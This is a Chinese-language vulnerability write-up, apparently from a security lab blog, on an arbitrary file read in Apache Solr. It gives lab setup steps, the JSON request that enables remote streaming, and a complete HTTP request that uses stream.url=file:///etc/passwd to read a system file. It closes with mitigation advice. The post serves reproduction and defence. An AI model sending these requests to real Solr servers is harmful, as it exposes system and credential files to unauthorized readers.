Apache Solr最新任意文件读取漏洞

2021-04-02 8,450


漏洞简介

Apache Solr是一个开源搜索服务引擎,默认安装未授权情况下攻击者可以构造恶意HTTP请求读取目标Apache Solr服务器的任意文件。

本文涉及相关实验:CVE-2019-0192 Apache Solr远程反序列化代码执行漏洞(Apache Solr是一个开源的搜索服务器。具有高度可靠、可伸缩和容错的,提供分布式索引、复制和负载平衡查询、自动故障转移和恢复、集中配置等功能。)


影响版本

solr任意版本


环境搭建

漏洞环境下载:

https://archive.apache.org/dist/lucene/solr/8.8.0/solr-8.8.0.tgz

解压后进入bin目录,启动(需要java环境),

./solr start

此时启动的solr是没有核心进行索引和搜索的,创建一个节点(核心)

./solr create -c test

访问:http://ip:8983可以看到创建的核心


实际场景下可以看到会有很多核心



漏洞复现

启用远程流传输

访问http://ip:8983/solr/test/config/抓包,将请求包修改为POST请求,修改Content-Type为“application/json”,发送以下数据:

{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}


即可开启远程流。


读取文件

引入远程流,将stream.url的参数的内容作为流传递。正常情况下stream.url传入的内容为“stream.url=http:/www.remotesite.com/path/to/file.pdf”,构造传入的敏感文件

POST /solr/test/debug/dump?param=ContentStreams HTTP/1.1
Host: 192.168.74.139:8983
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.57
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
stream.url=file:///etc/passwd


漏洞修复

(官方不承认这是漏洞.jpg)

因为solr默认安装情况下未授权,导致可以读取任意文件,启用Apache Solr身份验证可有效缓解该漏洞的影响

配置访问控制策略,避免Apache Solr暴露在互联网


参考

https://mp.weixin.qq.com/s/HMtAz6_unM1PrjfAzfwCUQ


本文作者:合天网安实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/156310.html

Tags:
评论  (0)
快来写下你的想法吧!

合天网安实验室

文章数:342 积分: 877

www.hetianlab.com,网络安全靶场练习平台,涉及CTF赛前指导、职业技能训练、网安专项技能提升等。

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号